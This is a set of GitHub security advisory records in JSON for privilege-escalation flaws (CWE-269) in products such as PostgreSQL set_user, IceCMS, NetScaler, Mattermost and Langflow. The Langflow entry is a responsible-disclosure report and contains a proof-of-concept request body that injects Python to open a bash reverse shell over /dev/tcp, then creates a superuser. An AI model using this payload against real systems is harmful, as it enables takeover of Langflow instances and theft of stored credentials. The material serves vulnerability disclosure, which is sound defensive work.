CWE-269

{
  "affected": [],
  "aliases": [
    "CVE-2021-38140"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-10T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The set_user extension module before 2.0.1 for PostgreSQL allows a potential privilege escalation using RESET SESSION AUTHORIZATION after set_user().",
  "id": "GHSA-4fj7-2258-8pjp",
  "modified": "2022-05-24T19:10:32Z",
  "published": "2022-05-24T19:10:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38140"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pgaudit/set_user/compare/REL2_0_0...REL2_0_1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pgaudit/set_user/releases/tag/REL2_0_1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-22397"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-02T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "There is a privilege escalation vulnerability in Huawei ManageOne 8.0.0. External parameters of some files are lack of verification when they are be called. Attackers can exploit this vulnerability by performing these files to cause privilege escalation attack. This can compromise normal service.",
  "id": "GHSA-4g2x-v66g-vw9g",
  "modified": "2022-07-13T00:01:09Z",
  "published": "2022-05-24T19:09:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22397"
    },
    {
      "type": "WEB",
      "url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20210714-01-pe-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-36100"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-01T16:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in IceCMS version 2.0.1, allows attackers to escalate privileges and gain sensitive information via UserID parameter in api/User/ChangeUser.",
  "id": "GHSA-4g5h-7prv-mvj5",
  "modified": "2024-04-04T07:21:58Z",
  "published": "2023-09-01T18:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Thecosy/IceCMS/issues/15"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-31005"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-03T01:15:08Z",
    "severity": "MODERATE"
  },
  "details": "IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow a local user to escalate their privileges due to an improper security configuration.  IBM X-Force ID:  254767.",
  "id": "GHSA-4g66-77gc-7f94",
  "modified": "2025-11-04T00:30:45Z",
  "published": "2024-02-03T03:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31005"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/254767"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7106586"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Nov/0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-12284"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-20T00:15:19Z",
    "severity": "HIGH"
  },
  "details": "Authenticated privilege escalation in\u00a0NetScaler Console and NetScaler Agent allows.",
  "id": "GHSA-4g7p-889h-qvww",
  "modified": "2025-07-25T21:33:46Z",
  "published": "2025-02-20T00:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12284"
    },
    {
      "type": "WEB",
      "url": "https://support.citrix.com/s/article/CTX692579-netscaler-console-and-netscaler-agent-security-bulletin-for-cve202412284?language=en_US"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-16960"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-10T00:15:00Z",
    "severity": "HIGH"
  },
  "details": ", aka \u0027Windows Backup Engine Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2020-16958, CVE-2020-16959, CVE-2020-16961, CVE-2020-16962, CVE-2020-16963, CVE-2020-16964.",
  "id": "GHSA-4g8c-643v-799x",
  "modified": "2025-08-29T00:31:12Z",
  "published": "2022-05-24T17:35:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16960"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-16960"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16960"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-23722"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-10T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in FUEL CMS 1.4.7. There is a escalation of privilege vulnerability to obtain super admin privilege via the \"id\" and \"fuel_id\" parameters.",
  "id": "GHSA-4gfr-qq27-gxq2",
  "modified": "2022-05-24T17:44:03Z",
  "published": "2022-05-24T17:44:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-23722"
    },
    {
      "type": "WEB",
      "url": "https://github.com/daylightstudio/FUEL-CMS/issues/560"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-20859"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-19T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Mattermost Server before 5.15.0. Login access control can be bypassed via crafted input.",
  "id": "GHSA-4gmh-fvqj-9v7g",
  "modified": "2022-05-24T17:21:12Z",
  "published": "2022-05-24T17:21:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20859"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-61246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-22T23:16:36Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Oracle Platform Security for Java product of Oracle Fusion Middleware (component: Centralized Thirdparty Jars).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Platform Security for Java.  Successful attacks of this vulnerability can result in takeover of Oracle Platform Security for Java. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).",
  "id": "GHSA-4gp2-hc93-r36x",
  "modified": "2026-07-23T00:31:30Z",
  "published": "2026-07-23T00:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61246"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow-base"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-25T16:21:04Z",
    "nvd_published_at": "2025-08-25T17:15:30Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability was discovered by researchers at **Check Point**. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.\n\n### Summary\nA privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command **langflow superuser** to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.\n\n### Details\nLangflow\u0027s Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:\n\n`langflow superuser`\n\nThis command allows creation of a new superuser without checking whether one already exists. \n\nWhen combined with code execution (e.g., via the authenticated **/api/v1/validate/code** endpoint), a low-privileged user can execute:\n\n`/app/.venv/bin/langflow superuser`\n\ninside the container, and elevate themselves to full superuser privileges.\n\nThis effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.\n\n### PoC\n1. Start container with LANGFLOW_ENABLE_AUTH set to True.\n2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)\n\n\u003cimg width=\"1311\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9b75bdc3-31ea-48c0-9e84-c2b168f404b3\" /\u003e\n\n3. Exploit /api/v1/validate/code to get reverse shell\n\nSend an authenticated POST request:\n\n```\n{\n  \"code\": \"def foo(p=__import__(\u0027os\u0027).system(\\\"bash -c \u0027bash -i \u003e\u0026 /dev/tcp/192.168.1.22/4444 0\u003e\u00261\u0027\\\")):\\n    pass\"\n}\n```\n\n4. Inside reverse shell, create superuser:\n\n\n\u003cimg width=\"731\" height=\"217\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cb8497c6-0d61-414e-afe2-69bbbaf55cbc\" /\u003e\n\n\n5. Log into UI as new superuser:\n\n\u003cimg width=\"1262\" height=\"532\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1f0a713d-3d61-4aa4-a25b-58f4b58c061b\" /\u003e\n\n\n### Impact\n\n- Privilege escalation to superuser \u2014 complete takeover of the Langflow instance\n- Access to all user data, flows, stored credentials, and configuration\n- Credential leakage \u2014 attacker can extract third-party API keys \n- Exposure of environment variables (inside docker container)\n- Ability to run additional Langflow instances via `langflow run` inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.\n- Full user management \u2014 superuser can delete other users, reset their passwords",
  "id": "GHSA-4gv9-mp8m-592r",
  "modified": "2025-12-18T15:59:48Z",
  "published": "2025-08-25T16:21:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/pull/9152"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/commit/c188ec113c9ca46154ad01d0eded1754cc6bef97"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)"
}